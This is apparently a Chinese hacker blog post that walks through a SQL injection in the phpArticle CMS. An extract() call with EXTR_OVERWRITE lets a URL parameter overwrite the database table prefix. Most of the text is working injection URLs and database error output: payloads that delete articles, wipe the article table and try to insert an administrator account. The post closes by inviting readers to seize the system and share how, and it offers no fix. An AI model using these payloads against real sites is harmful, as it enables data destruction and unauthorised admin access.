前段时间小花和我说phparticle有一个变量没有初始化,我看了看,的确可以构造这个变量,而且任意一个页面都可以的,危害嘛,我没有能力拿到有意义的东西,但是要破坏简直轻而易举,唉,终于明白破坏比建设简单的原因了。
/global.php文件开头是这样写的:
<?php if ($showqueries==1 OR $_GET[showqueries]==1){ require "admin/config.php"; //var_dump($configuration); extract($configuration,EXTR_OVERWRITE); |
/admin/configs/setting.php文件中,变量$configuration是一个数组,是整个文章系统的配置参数,为了减少查询次数,把数据库的配置信息,写进文件,速度自然快很多,这个本来一切很正常很正常,但是一行代码,就足以让phparticle的数据可以瞬间消失。
extract($configuration,EXTR_OVERWRITE); |
extract()函数在PHP手册上是这么写的:
int extract ( array var_array [, int extract_type [, string prefix]])
本函数用来将变量从数组中导入到当前的符号表中。接受结合数组 var_array 作为参数并将键名当作变量名,值作为变量的值。对每个键/值对都会在当前的符号表中建立变量,并受到 extract_type 和 prefix 参数的影响。
注: 自版本 4.0.5 起本函数返回被提取的变量数目。
注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引进的。
注: EXTR_REFS 是版本 4.3.0 中引进的。
extract() 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。对待非法/数字和冲突的键名的方法将根据 extract_type 参数决定。可以是以下值之一:
EXTR_OVERWRITE
如果有冲突,覆盖已有的变量。
很显然,这里可以覆盖任意变量,甚至系统变量,包括$_GET,$_POST等,真的不明白为什么作者要把上面那行给注释掉用这个“EXTR_OVERWRITE”。
最关键的变量是admin/config.php下的$db_prefix变量,这是表前缀,这个是最有用的,因为phparticle里面的所有查询都会在表面使用这个变量,肯定能造成SQL注入,但条件极为苛刻。从表的前缀这里构造一个完整的SQL QUERY。然后把后面的语句给注释掉。呵呵,说不定还可以load_file或者into outfile,窃喜~~
但是实际上并没有这么顺利,为了更清晰的测试。我就为所有的SQL QUERY设置了一个变量$sql,然后在系统的首页输出,来看看首先执行的SQL语句是什么,是SELECT就可以注入,这样能得到很多有用的信息。甚至……,如果是INSERT更好了,直接构造语句插入一个管理员,是UPDATE也可以,把我注册的用户UPDATE成管理员组的角色,是DELETE嘛,就可以删除任意数据,结果输出的语句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如图:
非常恼火,如果这个DELETE语句错误的话,就会显示MYSQL的错误信息,并停止运行程序,根本不可能执行下一句SQL语句,恼火。而且phparticle的容错处理非常不错。没办法返回WEB的物理路径,如果当前的用户不是管理员,连MYSQL错误信息都不能看到,我在本地测试的,因为是管理员,所以MYSQL的出错信息都返回到屏幕上,对我们测试更加有帮助,咱们构造一个完整的DELETE语句看看,成功以后,应该会继续执行下一句SQL QUERY,我就随便提交:
http://localhost/phparticle/global.php?configuration[db_prefix]=angel |
结果返回:
phpArticle 数据库出错: SQL 无效: DELETE FROM angelsession WHERE expiry<1104152890 请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员. |
错误了,表不存在,不过数据库名字已经出来了,就是article20,当然实际应用是看不到这些信息的,因为phparticle有比较完善的会话检查,所以不管浏览或是刷新任何一个页面,都会先对session表操作,删除用户的会话,更新会话,查询会话,都会有操作,因为用户登陆,在线用户,还有用户的状态,都是用session记录的,了解这些以后,开始构造一个完整的DELETE语句再看看下一步该怎么做:
http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/* |
返回:
phpArticle 数据库出错: SQL 无效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004 请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员. phpArticle 数据库出错: SQL 无效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity) 请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员. Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0 |
再看看文章系统。文章已经成功删除。但是SQL QUERY却停留在SELECT上面了,而且出错信息已经终止了程序的运行,导致无法执行下一个SQL QUERY,但是从出错的页面看来,INSERT语句也用我们的参数执行了,如图:
点击查看原尺寸图片
我就想能不能直接构造INSERT语句加一个管理员呢?
http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/* |
结果返回,看来行不通,在第一句SQL QUERY的时候,就出错终止了。
phpArticle 数据库出错: SQL 无效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
|
到了这个地步,我只能无奈的提交:
http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/* |
结束了这次测试。
看来这个phparticle宁死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,记得和我分享啊。